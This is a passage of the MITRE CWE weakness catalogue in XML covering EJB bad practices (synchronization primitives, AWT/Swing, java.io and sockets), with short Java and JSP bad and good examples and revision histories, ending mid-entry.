            <Related_Weakness Nature="ChildOf" CWE_ID="821" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Do not use Synchronization Primitives when writing EJBs.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example a Customer Entity EJB provides access to customer information in a database for a business application.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>@Entity<xhtml:br/>public class Customer implements Serializable {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>private String id;<xhtml:br/>private String firstName;<xhtml:br/>private String lastName;<xhtml:br/>private Address address;<xhtml:br/>
                           <xhtml:br/>public Customer() {...}<xhtml:br/>
                           <xhtml:br/>public Customer(String id, String firstName, String lastName) {...}<xhtml:br/>
                           <xhtml:br/>@Id<xhtml:br/>public String getCustomerId() {...}<xhtml:br/>
                           <xhtml:br/>public synchronized void setCustomerId(String id) {...}<xhtml:br/>
                           <xhtml:br/>public String getFirstName() {...}<xhtml:br/>
                           <xhtml:br/>public synchronized void setFirstName(String firstName) {...}<xhtml:br/>
                           <xhtml:br/>public String getLastName() {...}<xhtml:br/>
                           <xhtml:br/>public synchronized void setLastName(String lastName) {...}<xhtml:br/>
                           <xhtml:br/>@OneToOne()<xhtml:br/>public Address getAddress() {...}<xhtml:br/>
                           <xhtml:br/>public synchronized void setAddress(Address address) {...}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the customer entity EJB uses the synchronized keyword for the set methods to attempt to provide thread safe synchronization for the member variables. The use of synchronized methods violate the restriction of the EJB specification against the use synchronization primitives within EJBs. Using synchronization primitives may cause inconsistent behavior of the EJB when used within different EJB containers.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="575" Name="EJB Bad Practices: Use of AWT Swing" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.</Description>
         <Extended_Description>The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard." The specification justifies this requirement in the following way: "Most servers do not allow direct interaction between an application program and a keyboard/display attached to the server system."</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="695" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not use AWT/Swing when writing EJBs.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following Java example is a simple converter class for converting US dollars to Yen. This converter class demonstrates the improper practice of using a stateless session Enterprise JavaBean that implements an AWT Component and AWT keyboard event listener to retrieve keyboard input from the user for the amount of the US dollars to convert to Yen.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>@Stateless<xhtml:br/>public class ConverterSessionBean extends Component implements KeyListener, ConverterSessionRemote {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>/* member variables for receiving keyboard input using AWT API */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>...<xhtml:br/>private StringBuffer enteredText = new StringBuffer();<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* conversion rate on US dollars to Yen */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>private BigDecimal yenRate = new BigDecimal("115.3100");<xhtml:br/>
                           <xhtml:br/>public ConverterSessionBean() {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>super();<xhtml:br/>
                                 <xhtml:i>/* method calls for setting up AWT Component for receiving keyboard input */</xhtml:i>
                                 <xhtml:br/>
                                 <xhtml:br/>...<xhtml:br/>addKeyListener(this);</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>public BigDecimal dollarToYen(BigDecimal dollars) {<xhtml:div style="margin-left:1em;">BigDecimal result = dollars.multiply(yenRate);<xhtml:br/>return result.setScale(2, BigDecimal.ROUND_DOWN);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* member functions for implementing AWT KeyListener interface */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>public void keyTyped(KeyEvent event) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>public void keyPressed(KeyEvent e) {<xhtml:br/>}<xhtml:br/>
                           <xhtml:br/>public void keyReleased(KeyEvent e) {<xhtml:br/>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* member functions for receiving keyboard input and displaying output */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>public void paint(Graphics g) {...}<xhtml:br/>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This use of the AWT and Swing APIs within any kind of Enterprise JavaBean not only violates the restriction of the EJB specification against using AWT or Swing within an EJB but also violates the intended use of Enterprise JavaBeans to separate business logic from presentation logic.</Body_Text>
               <Body_Text>The Stateless Session Enterprise JavaBean should contain only business logic. Presentation logic should be provided by some other mechanism such as Servlets or Java Server Pages (JSP) as in the following Java/JSP example.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>@Stateless<xhtml:br/>public class ConverterSessionBean implements ConverterSessionRemoteInterface {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>/* conversion rate on US dollars to Yen */</xhtml:i>
                           <xhtml:br/>private BigDecimal yenRate = new BigDecimal("115.3100");<xhtml:br/>
                           <xhtml:br/>public ConverterSessionBean() {<xhtml:br/>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* remote method to convert US dollars to Yen */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>public BigDecimal dollarToYen(BigDecimal dollars) {<xhtml:div style="margin-left:1em;">BigDecimal result = dollars.multiply(yenRate);<xhtml:br/>return result.setScale(2, BigDecimal.ROUND_DOWN);</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Good" Language="JSP">
                  <xhtml:div>&lt;%@ page import="converter.ejb.Converter, java.math.*, javax.naming.*"%&gt;<xhtml:br/>&lt;%!<xhtml:div style="margin-left:1em;">
                        <xhtml:div>private Converter converter = null;<xhtml:br/>public void jspInit() {<xhtml:div style="margin-left:1em;">try {<xhtml:div style="margin-left:1em;">InitialContext ic = new InitialContext();<xhtml:br/>converter = (Converter) ic.lookup(Converter.class.getName());</xhtml:div>} catch (Exception ex) {<xhtml:div style="margin-left:1em;">System.out.println("Couldn't create converter bean."+ ex.getMessage());</xhtml:div>}</xhtml:div>}<xhtml:br/>public void jspDestroy() {<xhtml:div style="margin-left:1em;">converter = null;</xhtml:div>}</xhtml:div>
                     </xhtml:div>
                     <xhtml:br/>%&gt;<xhtml:br/>&lt;html&gt;<xhtml:div style="margin-left:1em;">
                        <xhtml:div>&lt;head&gt;&lt;title&gt;Converter&lt;/title&gt;&lt;/head&gt;<xhtml:br/>&lt;body bgcolor="white"&gt;<xhtml:div style="margin-left:1em;">
                              <xhtml:div>&lt;h1&gt;Converter&lt;/h1&gt;<xhtml:br/>&lt;hr&gt;<xhtml:br/>&lt;p&gt;Enter an amount to convert:&lt;/p&gt;<xhtml:br/>&lt;form method="get"&gt;<xhtml:div style="margin-left:1em;">&lt;input type="text" name="amount" size="25"&gt;&lt;br&gt;<xhtml:br/>&lt;p&gt;<xhtml:br/>&lt;input type="submit" value="Submit"&gt;<xhtml:br/>&lt;input type="reset" value="Reset"&gt;</xhtml:div>&lt;/form&gt;<xhtml:br/>&lt;%<xhtml:div style="margin-left:1em;">String amount = request.getParameter("amount");<xhtml:br/>if ( amount != null &amp;&amp; amount.length() &gt; 0 ) {<xhtml:div style="margin-left:1em;">BigDecimal d = new BigDecimal(amount);<xhtml:br/>BigDecimal yenAmount = converter.dollarToYen(d);</xhtml:div>
                                 </xhtml:div>
                                 <xhtml:br/>%&gt;<xhtml:br/>&lt;p&gt;<xhtml:br/>&lt;%= amount %&gt; dollars are &lt;%= yenAmount %&gt; Yen.<xhtml:br/>&lt;p&gt;<xhtml:br/>&lt;%<xhtml:div style="margin-left:1em;">}</xhtml:div>
                                 <xhtml:br/>%&gt;</xhtml:div>
                           </xhtml:div>&lt;/body&gt;</xhtml:div>
                     </xhtml:div>&lt;/html&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="576" Name="EJB Bad Practices: Use of Java I/O" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product violates the Enterprise JavaBeans (EJB) specification by using the java.io package.</Description>
         <Extended_Description>The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use the java.io package to attempt to access files and directories in the file system." The specification justifies this requirement in the following way: "The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data."</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="695" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Do not use Java I/O when writing EJBs.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. In this example, the interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Java I/O API to retrieve the XML document from the local file system.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>@Stateless<xhtml:br/>public class InterestRateBean implements InterestRateRemote {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>private Document interestRateXMLDocument = null;<xhtml:br/>private File interestRateFile = null;<xhtml:br/>
                           <xhtml:br/>public InterestRateBean() {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>try {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>/* get XML document from the local filesystem */</xhtml:i>
                                       <xhtml:br/>interestRateFile = new File(Constants.INTEREST_RATE_FILE);<xhtml:br/>
                                       <xhtml:br/>if (interestRateFile.exists())<xhtml:br/>{<xhtml:div style="margin-left:1em;">DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();<xhtml:br/>DocumentBuilder db = dbf.newDocumentBuilder();<xhtml:br/>interestRateXMLDocument = db.parse(interestRateFile);</xhtml:div>}</xhtml:div>
                                 </xhtml:div>} catch (IOException ex) {...}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>public BigDecimal getInterestRate(Integer points) {<xhtml:div style="margin-left:1em;">return getInterestRateFromXML(points);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* member function to retrieve interest rate from XML document on the local file system */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>private BigDecimal getInterestRateFromXML(Integer points) {...}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This use of the Java I/O API within any kind of Enterprise JavaBean violates the EJB specification by using the java.io package for accessing files within the local filesystem.</Body_Text>
               <Body_Text>An Enterprise JavaBean should use a resource manager API for storing and accessing data. In the following example, the private member function getInterestRateFromXMLParser uses an XML parser API to retrieve the interest rates.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>@Stateless<xhtml:br/>public class InterestRateBean implements InterestRateRemote {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>public InterestRateBean() {<xhtml:br/>}<xhtml:br/>
                           <xhtml:br/>public BigDecimal getInterestRate(Integer points) {<xhtml:div style="margin-left:1em;">return getInterestRateFromXMLParser(points);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* member function to retrieve interest rate from XML document using an XML parser API */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>private BigDecimal getInterestRateFromXMLParser(Integer points) {...}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="577" Name="EJB Bad Practices: Use of Sockets" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product violates the Enterprise JavaBeans (EJB) specification by using sockets.</Description>
         <Extended_Description>The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast." The specification justifies this requirement in the following way: "The EJB architecture allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients."</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Do not use Sockets when writing EJBs.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following Java example is a simple stateless Enterprise JavaBean that retrieves stock symbols and stock values. The Enterprise JavaBean creates a socket and listens for and accepts connections from clients on the socket.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>@Stateless<xhtml:br/>public class StockSymbolBean implements StockSymbolRemote {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>ServerSocket serverSocket = null;<xhtml:br/>Socket clientSocket = null;<xhtml:br/>
                           <xhtml:br/>public StockSymbolBean() {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>try {<xhtml:div style="margin-left:1em;">serverSocket = new ServerSocket(Constants.SOCKET_PORT);</xhtml:div>} catch (IOException ex) {...}<xhtml:br/>
                                 <xhtml:br/>try {<xhtml:div style="margin-left:1em;">clientSocket = serverSocket.accept();</xhtml:div>} catch (IOException e) {...}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>public String getStockSymbol(String name) {...}<xhtml:br/>
                           <xhtml:br/>public BigDecimal getStockValue(String symbol) {...}<xhtml:br/>
                           <xhtml:br/>private void processClientInputFromSocket() {...}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>And the following Java example is similar to the previous example but demonstrates the use of multicast socket connections within an Enterprise JavaBean.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>@Stateless<xhtml:br/>public class StockSymbolBean extends Thread implements StockSymbolRemote {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>ServerSocket serverSocket = null;<xhtml:br/>Socket clientSocket = null;<xhtml:br/>boolean listening = false;<xhtml:br/>
                           <xhtml:br/>public StockSymbolBean() {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>try {<xhtml:div style="margin-left:1em;">serverSocket = new ServerSocket(Constants.SOCKET_PORT);</xhtml:div>} catch (IOException ex) {...}<xhtml:br/>
                                 <xhtml:br/>listening = true;<xhtml:br/>while(listening) {<xhtml:div style="margin-left:1em;">start();</xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>public String getStockSymbol(String name) {...}<xhtml:br/>
                           <xhtml:br/>public BigDecimal getStockValue(String symbol) {...}<xhtml:br/>
                           <xhtml:br/>public void run() {<xhtml:div style="margin-left:1em;">try {<xhtml:div style="margin-left:1em;">clientSocket = serverSocket.accept();</xhtml:div>} catch (IOException e) {...}<xhtml:br/>...</xhtml:div>}<xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The previous two examples within any type of Enterprise JavaBean violate the EJB specification by attempting to listen on a socket, accepting connections on a socket, or using a socket for multicast.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
